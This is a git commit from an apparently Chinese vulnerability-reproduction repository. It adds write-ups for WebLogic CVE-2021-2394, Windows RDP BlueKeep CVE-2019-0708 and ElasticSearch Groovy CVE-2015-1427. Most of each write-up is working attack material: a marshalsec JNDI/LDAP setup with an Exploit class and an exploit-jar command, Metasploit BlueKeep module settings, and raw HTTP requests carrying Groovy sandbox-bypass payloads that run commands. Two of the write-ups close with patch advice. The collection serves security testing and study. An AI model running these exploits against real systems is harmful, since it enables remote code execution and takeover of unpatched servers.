更新漏洞

This commit is contained in:
Threekiii 2023-03-28 17:48:31 +08:00
parent 4183968483
commit 886c5bb019
11 changed files with 242 additions and 0 deletions

View File

@ -448,6 +448,7 @@
* Weblogic SSRF漏洞 CVE-2014-4210
* WebLogic T3 反序列化漏洞 CVE-2016-3510
* Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
* Weblogic 二次反序列化漏洞 CVE-2021-2394
* Weblogic 反序列化远程代码执行漏洞 CVE-2019-2725
* Zabbix SAML身份绕过漏洞 CVE-2022-23131
- 云安全漏洞
@ -455,6 +456,7 @@
* K8s API Server未授权命令执行
- 其他漏洞
* Microsoft Word 远程代码执行漏洞 CVE-2023-21716
* 微信客户端 远程命令执行漏洞
- 开发框架漏洞
@ -491,10 +493,12 @@
* Windows SMB远程代码执行漏洞 CVE-2020-0796
* Windows Win32k 内核提权漏洞 CVE-2022-21882
* Windows Win32k 本地提权漏洞 CVE-2021-1732
* Windows远程桌面服务漏洞 CVE-2019-0708
- 服务器应用漏洞
* ClickHouse API 数据库接口未授权访问漏洞
* Consul Docker images 空密码登录漏洞 CVE-2020-29564
* ElasticSearch Groovy 沙盒绕过 & 代码执行漏洞 CVE-2015-1427
* Elasticsearch 未授权访问
* Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417
* Git for Visual Studio远程执行代码漏洞 CVE-2021-21300

View File

@ -0,0 +1,80 @@
# Weblogic 二次反序列化漏洞 CVE-2021-2394
## 漏洞描述
Oracle官方发布了2021年7月份安全更新通告通告中披露了WebLogic组件存在高危漏洞攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。
这是一个二次反序列化漏洞是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
## 漏洞影响
```
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
```
## 环境搭建
系统环境window10 系统
weblogic 版本12.2.1.3,官网下载
![image-20230328155039160](images/image-20230328155039160.png)
在当前目录启动,启动后访问:
![image-20230328155131145](images/image-20230328155131145.png)
## 漏洞复现
下载 marshalsec 利用 marshalsec 开启 JNDI 服务:
```
https://github.com/mbechler/marshalsec # 需要自己编译
mvn clean package DskipTests
https://github.com/RandomRobbieBF/marshalsec-jar # 可以直接使用
```
创建 Exploit.java通过 javac 编译得到 Exploit.class
```
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
```
在同目录下使用 python 开启一个 http 服务,并使用 marshalsec 开启 JNDI 服务:
```
python -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087
```
使用exp进行复现
- https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
```
java -jar CVE_2021_2394.jar 192.168.31.3 7001 ldap://192.168.3.35:8087/Exploit
```
![image-20230328155325277](images/image-20230328155325277.png)
## 修复方式
当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。链接如下:
- https://www.oracle.com/security-alerts/cpuapr2021.html

Binary file not shown.

After

Width:  |  Height:  |  Size: 243 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 334 KiB

View File

@ -0,0 +1,83 @@
# Windows远程桌面服务漏洞 CVE-2019-0708
## 漏洞描述
2019年5月14日微软发布了针对远程桌面服务的关键远程执行代码漏洞CVE-2019-0708的补丁该漏洞影响某些旧版本的Windows。攻击者一旦成功触发该漏洞便可以在目标系统上执行任意代码该漏洞的触发无需任何用户交互操作。这就意味着存在漏洞的计算机只要联网无需任何操作就可能遭遇黑客远程攻击运行恶意代码。其方式与2017年WannaCry恶意软件的传播方式类似。成功利用此漏洞的攻击者可以在目标系统完成安装应用程序查看、更改或删除数据创建完全访问权限的新账户等操作。
## 漏洞影响
该漏洞影响旧版本的Windows系统包括
```
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
```
Windows 8和Windows 10及之后版本不受此漏洞影响。
## 漏洞复现
测试环境:
![image-20230328160605922](images/image-20230328160605922.png)
将下载的exp分别放入或替换
```
/usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
/usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
```
升级msf
- 使用命令msfupdate按提示apt update
- apt install Metasploit-framework最后reload_all
启动Metasploit用search搜索0708使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce启用0708RDP模块攻击
![image-20230328160727201](images/image-20230328160727201.png)
用show options进行参数设置
这里只需要设置两项set rhosts 目标ip(我这里是192.168.106.149)以及set target 3
set target ID数字(可选为0-4)设置受害机机器架构wmware=3Virtualbox=2
![image-20230328160741117](images/image-20230328160741117.png)
成功利用。
到目前公开的利用代码可用于攻击 Windows 7 SP1 x64 与 Windows 2008 R2 x64的EXP不太稳定针对 Windows 7 SP1 x64攻击有蓝屏现象。
复现过程中出现的一些问题解决方法:
如提示Exploit failed: NameError undefined local variable or method `rdp_connect' for则需要替换下载的exp4个rb文件
如提示ForceExploit错误需要将ForceExploit设置为true
Windows2008 R2 x64 需要修改[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TerminalServer\WinStations\rdpwd\fDisableCam]值为0。
## 漏洞修复
安装微软的安全更新来给系统打上安全补丁:
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新下载地址:
- https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708
**缓解措施(在无法及时安装微软安全更新的情况下作为临时性解决方案)**
1.若用户不需要用到远程桌面服务,建议禁用该服务。
2.开启网络级别身份验证NLA此方案适用于Windows 7, Windows Server 2008, Windows Server 2008 R2。
以上措施只能暂时性针对该漏洞对系统进行部分缓解,强烈建议在条件允许的情况下及时安装微软安全更新。

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 555 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 623 KiB

View File

@ -0,0 +1,75 @@
# ElasticSearch Groovy 沙盒绕过 & 代码执行漏洞 CVE-2015-1427
## 漏洞描述
CVE-2014-3120后ElasticSearch默认的动态脚本语言换成了Groovy并增加了沙盒但默认仍然支持直接执行动态语言。本漏洞1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。
参考文章:
- http://cb.drops.wiki/drops/papers-5107.html
- http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
- https://github.com/XiphosResearch/exploits
- http://cb.drops.wiki/drops/papers-5142.html
**Groovy语言“沙盒”**
ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法
1. 既然对执行Java代码有沙盒lupin的方法是想办法绕过沙盒比如使用Java反射
2. Groovy原本也是一门语言于是tang3另辟蹊径使用Groovy语言支持的方法来直接执行命令无需使用Java语言
所以根据这两种执行漏洞的思路我们可以获得两个不同的POC。
Java沙盒绕过法
```
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
```
Goovy直接执行命令法
```
def command='id';def res=command.execute().text;res
```
## 漏洞复现
jre版本openjdk:8-jre
elasticsearch版本v1.4.2
由于查询时至少要求es中有一条数据所以发送如下数据包增加一个数据
```
POST /website/blog/ HTTP/1.1
Host: 192.168.44.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
```
然后发送包含payload的数据包执行任意命令
```
POST /_search?pretty HTTP/1.1
Host: 192.168.44.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
```
结果如图所示:
![image-20230328161241539](images/image-20230328161241539.png)

Binary file not shown.

After

Width:  |  Height:  |  Size: 191 KiB